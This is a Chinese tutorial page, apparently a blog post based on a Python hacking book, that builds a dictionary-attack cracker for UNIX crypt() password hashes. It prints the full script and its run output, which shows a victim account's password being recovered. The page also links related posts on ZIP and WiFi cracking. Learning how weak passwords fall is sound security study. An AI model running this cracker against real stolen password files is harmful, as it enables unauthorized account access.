Python 黑客 --- 001 UNIX口令破解机
Python 黑客 实战:UNIX口令破解机
使用的系统:Ubuntu 14.04 LTS
Python语言版本:Python 2.7.10 V
crypt 库是Python内置的库。在UNIX系统使用,使用crypt()函数对密码进行加密。UNIX Crypt 函数计算的加密口令为:crypt('egg', 'HX') = HX9LLTdc/jiDE 。
$ python
Python 2.7.6 (default, Jun 22 2015, 18:00:18)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> help('crypt')
输出:
Help on module crypt:
NAME
crypt
FILE
/usr/lib/python2.7/lib-dynload/crypt.i386-linux-gnu.so
MODULE DOCS
http://docs.python.org/library/crypt
FUNCTIONS
crypt(...)
crypt(word, salt) -> string
word will usually be a user's password. salt is a 2-character string
which will be used to select one of 4096 variations of DES. The characters
in salt must be either ".", "/", or an alphanumeric character. Returns
the hashed password as a string, which will be composed of characters from
the same alphabet as the salt.
(END)
按q退出。
我们来试试这个crypt()函数:
>>> import crypt
>>> crypt.crypt("egg", "HX")
'HX9LLTdc/jiDE'
>>>
程序设计思路
黑客穷举了字典中所有单词,并用Unix crypt() 函数对它们加密,然后将结果偷来的加密密码进行对比。
这就是:字典攻击法 ,来破解加密的口令。
程序编写
你可以在这里下载源代码: 1-4-2-passwdCrack.py
源代码讲解:
#! /usr/bin/python
# -*- coding: utf-8 -*-
import crypt
def testPass(cryptPass): # 加密的口令hash
salt = cryptPass[0:2] # 提取加密的口令hash前两个字符视为salt
dictFile = open('dictionary.txt', 'r') # 读取字典里的所有单词
for word in dictFile.readlines(): # 遍历字典中的每一个单词
word = word.strip('\n') # 提取单个单词
cryptWord = crypt.crypt(word, salt) # 用每个单词和salt计算一个新的加密口令hash
if cryptWord == cryptPass: # 如果结果与加密口令hash匹配
print '[+] Found Password: ' + word + '\n' # 显示找到密码
return # 找到密码,返回
print '[-] Password Not Found.\n' # 搜遍字典无果
return # 没有找到密码,返回
def main():
passFile = open('passwords.txt') # 打开加密口令文件"passwords.txt"
for line in passFile.readlines(): # 逐行读取口令文件中的内容
if ':' in line:
user = line.split(':')[0]
cryptPass = line.split(':')[1].strip(' ') # 每一行的用户名和口令hash都是分隔开的
print '[*] Cracking Password For: ' + user
testPass(cryptPass) # 调用testPass()函数,尝试用字典中的单词破解口令hash
if __name__ == '__main__':
main()
代码中读取的 ‘passwords.txt’ 和 ‘dictionary.txt’ 文件在这里可以下载。
添加可执行权限:
sudo chmod 777 1-4-2-passwdCrack.py
运行脚本:
$ ./1-4-2-passwdCrack.py
[*] Cracking Password For: victim
[+] Found Password: egg
[*] Cracking Password For: root
[-] Password Not Found.
从输出结果可以看出:我成功破解了victim用户的密码。root的密码我们没有成功。那么这表明:root 一定是使用了我们字典( ‘dictionary.txt’ 文件)之外的单词作为密码。没事,我们现在学习了这一种破解方法(字典攻击法),后面我们会学习更多的破解方法。
Python 黑客 --- 001 UNIX口令破解机的更多相关文章
- UNIX口令破解机
在编写我们的UNIX口令破解机时,我们需要使用UNIX 计算口令hash 的crypt()算法.Python 标准库中已自带有crypt 库.要计算一个加密的UNIX 口令hash,只需调用函数cry ...
- python写unix口令破解器
看了python绝技做出来的unix口令破解器 首先需要crypt. python并不自带!! windows下pip安装失败= = 后来直接去kali敲了 附件:jiami.txt #假设是unix ...
- Python黑客泰斗利用aircrack-ng破解 wifi 密码,超详细教程!
开始前,先连上无线网卡,因为虚拟机中的kali系统不用调用笔记本自带的无线网卡,所以需要一个外接无线网卡,然后接入kali系统. 输入 ifconfig -a 查看网卡,多了个 wlan0,说明网卡已 ...
- python 黑客书籍 ——扫描+暴力破解
https://legacy.gitbook.com/book/germey/net-security/details 网络安全 介绍 构建一个端口扫描器 利用Pexpect模拟SSH连接 利用Pxs ...
- Python与Hack之Zip文件口令破解
1.需要的库: **import zipfile**import optparse**from threading import Thread(1)zipfile:1.1 zipfile.ZipFil ...
- Python 黑客 --- 002 入门级 ZIP压缩文件口令暴力破解机
Python 黑客 入门级实战:ZIP压缩文件口令暴力破解机 使用的系统:Ubuntu 14.04 LTS Python语言版本:Python 2.7.10 V 编写zip 压缩文件口令破解器需要使用 ...
- Python黑客编程2 入门demo--zip暴力破解
Python黑客编程2 入门demo--zip暴力破解 上一篇文章,我们在Kali Linux中搭建了基本的Python开发环境,本篇文章为了拉近Python和大家的距离,我们写一个暴力破解zip包密 ...
- 20155236 《信息安全概论》实验二(Windows系统口令破解)实验报告
20155236 <信息安全概论>实验二(Windows系统口令破解)实验报告 北京电子科技学院(BESTI) 实验报告 课程:信息安全概论 班级:1552 姓名:范晨歌 学号:20155 ...
- 2017-2018-1 20155306 20155315 《信息安全技术》实验二、Windows口令破解
在网络界,攻击事件发生的频率越来越高,其中相当多的都是由于网站密码泄露的缘故,或是人为因素导致,或是口令遭到破解,所以从某种角度而言,密码的安全问题不仅仅是技术上的问题,更主要的是人的安全意识问题. ...
随机推荐
- element-ui树结构懒加载
在实际项目中,往往树结构数据量较大,这时树节点必须懒加载 element-ui树的懒加载: <div style="width:100%;height:420px;overflow: ...
- codeigniter教程:Codeigniter出现Unable to connect to your databas
Codeigniter出现A Database Error Occurred错误 下午把项目构建到服务器上的时候,codeigniter竟然出现了 a database error occurred ...
- syq小姐姐的分享的历年考试经验
一>读题 10~20min浏览题目,把握题目方向和做题大致顺序 不要轻敌,最好先看完题目,大概掌握整套题的难度顺序再动手 仔细读题步骤: (1)文件名(也是检查的重点,绝对重要,注意区分l和1和 ...
- Codeforces Round #286 (Div. 2)A. Mr. Kitayuta's Gift(暴力,string的应用)
由于字符串的长度很短,所以就暴力枚举每一个空每一个字母,出现行的就输出.这么简单的思路我居然没想到,临场想了很多,以为有什么技巧,越想越迷...是思维方式有问题,遇到问题先分析最简单粗暴的办法,然后一 ...
- STL迭代器辅助函数——advance
Advance(i, n) increments the iterator i by the distance n. If n > it it , the call has no effect. ...
- hadoop碰到的 一个问题
在里面添加/usr/local/hadoop/etc/hadoop/log4j.properties log4j.logger.org.apache.hadoop.util.NativeCodeLoa ...
- Phone numbers
Phone number in Berland is a sequence of n digits. Often, to make it easier to memorize the number, ...
- Python 列表的切片和连接
一.定义一个list >>> a = [1, 3, 4, 5, 'a', 's'] >>> a [1, 3, 4, 5, 'a', 's'] 二.获取列表中前3个元 ...
- 证书脚本--生成csr,key
#!/bin/sh # this script can make certificate of each line in file you point which one! if [ $# -ne 1 ...
- immutable学习
React 做性能优化时有一个避免重复渲染的大招,就是使用 shouldComponentUpdate(),但它默认返回 true,即始终会执行 render() 方法,然后做 Virtual DOM ...